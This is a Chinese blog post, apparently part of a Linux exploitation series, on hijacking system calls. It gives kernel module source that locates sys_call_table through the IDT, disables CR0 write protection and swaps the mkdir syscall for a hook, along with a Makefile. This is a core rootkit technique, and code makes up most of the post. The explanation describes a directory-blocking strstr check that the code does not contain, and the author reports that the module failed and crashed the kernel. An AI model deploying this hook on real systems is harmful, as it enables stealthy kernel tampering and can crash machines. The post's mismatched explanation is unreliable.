Linux漏洞挖掘:08---系统调用劫持之(通过IDT中断向量表获取sys_call_table系统调用表)

一、IDT中断向量表简介

  • IDT是中断向量表,其被分为许多个段,一个段被分为中断号和中断处理函数

二、通过IDT中断向量表获取sys_call_table系统调用表

  • IDT这个表的地址是在特殊寄存器中存储的,而这个特殊寄存器的地址是我们可以通过编程设计获取的
  • 在系统调用详细文章中(见文章:https://blog.csdn.net/qq_41453285/article/details/102810100),我们介绍过,sys_call_table的的中断号为0x80。其也是存在于IDT中,因此我们可以先获取IDT表的指针,再根据地址偏移,获取中断号为0x80的地址,再进一步获取sys_call_table系统调用表的地址

 

三、编码实现

  • 这个演示案例中我们先通过IDT获取sys_call_table的地址,然后再通过sts_call_table改写mkdir系统调用系统调用

idt.c程序设计

//lkm.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>

	
unsigned long *sys_call_table;

struct 
{
	unsigned short size;
	unsigned int addr;
}__attribute__((packed)) idtr;

struct
{
	unsigned short offset_1;
	unsigned short selector;
	unsigned char zero;
	unsigned char type_attr;
	unsigned short offset_2;
}__attribute__((packed)) idt;

unsigned long  *find_sys_call_table(void)
{
	unsigned int sys_call_off;
	char *p;
	int i;
	unsigned int ret;

	asm("sidt %0":"=m"(idtr)); //通过idtr获取IDT表的地址
	printk("Arciryas:idt table-0x%x\n", idtr.addr);

	//将0x80处sys_call_table的地址存放到idt中
	memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));//IDT表一行占8个字节,所以8*0x80
	sys_call_off = ((idt.offset_2<<16) | idt.offset_1);

	p = sys_call_off;
	for(i=0; i<100; i++)
	{
		if(p[i]=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85')  //sys_call_table的call硬编码
			ret = *(unsigned int *)(p+i+3);
	}
	printk("Arciryas:sys_call_table-0x%x\n", ret);
	return (unsigned long**)ret;
}

asmlinkage long (*real_mkdir)(const char __user *pathname,umode_t mode);
asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
	printk("Arciryas:mkdir-%s\n", pathname);
	
	return (*real_mkdir)(pathname, mode);
}

static int lkm_init(void)
{
	sys_call_table = find_sys_call_table();

	write_cr0(read_cr0() & (~0x10000));
	real_mkdir = (void *)sys_call_table[__NR_mkdir];
	sys_call_table[__NR_mkdir] = fake_mkdir;
	write_cr0(read_cr0() | 0x10000);

	printk("Arciryas:module loaded\n");

	return 0;
}

static void lkm_exit(void)
{
	write_cr0(read_cr0() & (~0x10000));	
	sys_call_table[__NR_mkdir] = real_mkdir;
	write_cr0(read_cr0() | 0x10000);
	printk("Arciryas:module removed\n");
}

module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("dongshao");
MODULE_DESCRIPTION("hook mkdir");

Makefile设计

KVERS = $(shell uname -r)

# Kernel modules
obj-m += lkm.o

# Specify flags for the module compilation.
#EXTRA_CFLAGS=-g -O0

build: kernel_modules

kernel_modules:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules

clean:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean

代码解析

  • 这个函数是内核模块的加载函数
    • 我们首先通过自定义find_sys_call_table函数(下面介绍)获取sys_call_table的地址
    • 然后打开内核内存写保护,准备改写系统调用
    • 我们先通过__NR_mkdir索引获取原本内核的sys_mkdir函数,然后再将__NR_mkdir索引处的函数改为我们自己的函数fake_mkdir
    • 之后关闭内存写保护,然后打印一些信息

  • 这个函数用来获取sys_call_table的地址,然后通过返回值返回

  • fake_mkdir是我们自定义的函数,我们使用strstr函数判断:
    • 如果创建的目录名中有“CSDN”字符串,那么strstr就返回非NULL,就执行else返回0,返回0之后,sys_call_table[__NR_mkdir]索引处就被置空了,那么mkdir系统调用就什么都不会做了
    • 如果创建的目录名中没有“CSDN”字符串,那么就调用返回我们保存的原来sys_mkdir的函数指针

  • 这个是内核模块的UI出清除模块,与内核加载模块类似,只是将内核原有的sys_mkdir指针重新赋值给sys_call_table系统调用表

 

演示效果

  • 首先编译模块
make

  

  • 加载模块,然后查看内核打印的信息,可以看到内核模块打印的sys_call_table系统调用表地址

  • 本人在实验的时候不知道什么原因,模块加载之后失败了,好在模块打印了IDT表的地址。但是又不能卸载了,内核出错了,我们只好重启系统来重新引导内核

发布了1476 篇原创文章 · 获赞 997 · 访问量 35万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 游动-白 设计师: 上身试试

分享到微信朋友圈

×

扫一扫,手机浏览